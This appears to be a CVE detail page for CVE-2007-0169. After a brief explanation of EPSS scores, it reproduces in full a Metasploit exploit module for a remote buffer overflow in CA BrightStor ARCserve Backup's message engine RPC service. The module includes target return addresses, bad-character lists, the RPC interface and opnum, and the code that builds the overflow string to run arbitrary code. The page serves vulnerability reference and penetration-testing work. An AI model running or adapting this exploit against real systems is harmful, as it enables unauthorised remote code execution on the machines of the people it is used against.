CVE-2007-0169 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: message_engine.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup 11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2007-0169' ], [ 'OSVDB', '31318' ], [ 'BID', '22005' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004 [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ], [ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ], ], 'DisclosureDate' => 'Jan 11 2007', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(6503) ], self.class) end def exploit connect handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V') sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0) print_status("Trying target #{target.name}...") begin dcerpc_call(47, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end